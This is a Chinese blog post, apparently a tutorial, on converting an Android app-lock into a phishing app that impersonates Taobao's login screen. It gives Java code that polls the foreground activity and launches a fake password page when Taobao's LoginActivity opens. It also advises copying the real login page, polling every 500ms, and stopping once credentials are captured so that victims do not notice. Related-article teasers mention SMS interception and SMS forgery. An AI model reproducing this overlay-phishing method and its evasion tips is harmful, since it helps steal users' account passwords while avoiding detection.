导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root

这个话题是继续android安全问题(二) 程序锁延伸的

之前我已经展示了如何制作程序锁。当打开指定应用的时候,弹出一个密码页面。

程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……

这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问

之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面

ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;

如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面

从log中我们能得到其包和类的信息

log 写道

- ::14.698: I/ActivityManager(): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms

恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用

第一个修改很简单,修改我们监听的包名和类名即可

String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity";

完整代码

public class LockTask extends TimerTask {
public static final String TAG = "LockTask";
private Context mContext;
String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity"; private ActivityManager mActivityManager; public LockTask(Context context) {
mContext = context;
mActivityManager = (ActivityManager) context.getSystemService("activity");
} @Override
public void run() {
ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;
String packageName = topActivity.getPackageName();
String className = topActivity.getClassName();
Log.v(TAG, "packageName" + packageName);
Log.v(TAG, "className" + className); if (testPackageName.equals(packageName)
&& testClassName.equals(className)) {
Intent intent = new Intent();
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
}
}
}

第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样

最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现

为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了

测试项目完整源码见附件,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)

无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意

我们可以降低检查频率(当然,钓鱼程序是不会这么干的)

我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听

如何监听屏幕状态?

我们需要监听下面两个action

Intent.ACTION_SCREEN_OFF

Intent.ACTION_SCREEN_ON

还有一个要求,就是要动态注册才可以,不能在manifest中注册

其余的事情大家就自己实现吧

Android安全问题 钓鱼程序的更多相关文章

  1. Android安全问题 抢先拦截短信

    同上篇文章一样,这里只陈述结果,代码分析稍后给出 导读:本文叙述如何先于某些伪杀毒软件.病毒.常规软件获取到短信 众所周知,android系统在收到短信息的时候会发送广播,但是此广播是有序广播,也就是 ...

  2. android安全问题(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  3. pc端和android端应用程序测试有什么区别?(ps面试题)

    pc端和android端应用程序测试有什么区别?(ps面试题) [VIP7]大连-凭海临风(215687736) 2014/4/10 8:56:171.测试环境不同PC平台一般都是windows an ...

  4. 分享50款 Android 移动应用程序图标【下篇】

    在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...

  5. 分享50款 Android 移动应用程序图标【上篇】

    在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...

  6. Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端

    Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端 本博客前面博文中利用org.apache.http包中API进行Android客户端HTTP连接的例子 ...

  7. 解决IE apk变成zip:Android 手机应用程序文件下载服务器Nginx+Tomcat配置解决方法

    APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...

  8. 解决IE apk变成zip:Android 手机应用程序文件下载服务器 配置解决方法

    APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...

  9. Android Camera 相机程序编写

    Android Camera 相机程序编写 要自己写一个相机应用直接使用相机硬件,首先应用需要一个权限设置,在AndroidManifest.xml中加上使用设备相机的权限: <uses-per ...

随机推荐

  1. SOCKET编程:为什么recv不阻塞

    服务器端: #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #incl ...

  2. DEDECMS中,channel标签

    获取栏目列表标签 dede:channel 标签: {dede:channel type='top' row='8' currentstyle="<li><a href=' ...

  3. qml去标题栏

    只要加入"flags: Qt.Window | Qt.FramelessWindowHint "属性就可实现去标题栏. 注意:在使用这个属性的时候要先导入QtQuick.Windo ...

  4. [DOM]有一种节点叫做文本节点

    HTML可以看成是由节点(node)组成的树结构 我们一般都是在<p>节点里面写字符串. 在上图中,<p>节点和字符串之间有一个text, 这个text就是文本节点. 我们可以 ...

  5. 【原】在一般处理程序中设置session

    using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using Syste ...

  6. android studio引入第三方包记录

    1.添加jar文件 将jar文件复制至app module目录下的libs文件夹下,然后打开app module目录下的build.gradle配置文件,在dependencies项中添加配置命令,这 ...

  7. 字符串转换成整型数 atoi()

    题目说明: 1.设计函数: int atoi(const char *nptr); 2.功能:把字符串转换成整型数,atoi()会扫描参数nptr字符串,如果第一个非空格字符存在, 是数字或者正负号则 ...

  8. android 注销

    1.在个人中心退出系统MainActivity 2.清空保存的登录数据 3.打开登录LoginActivity 方法: SharedPreferencesManager.getInstance(mCo ...

  9. svn团队环境

    1.安装VisualSVN Server VisualSVN-Server-3.3.1-x64.msi 下载,并安装标准版(免费) 2.下载TortoiseSVN TortoiseSVN-1.8.11 ...

  10. [译] ASP.NET 生命周期 – ASP.NET 上下文对象(八)

    使用 HttpResponse 对象 HttpResponse 对象是与 HttpRequest 对象相对应的,用来表示构建中的响应.它当中提供了方法和属性可供我们自定义响应,有一些在使用 MVC 视 ...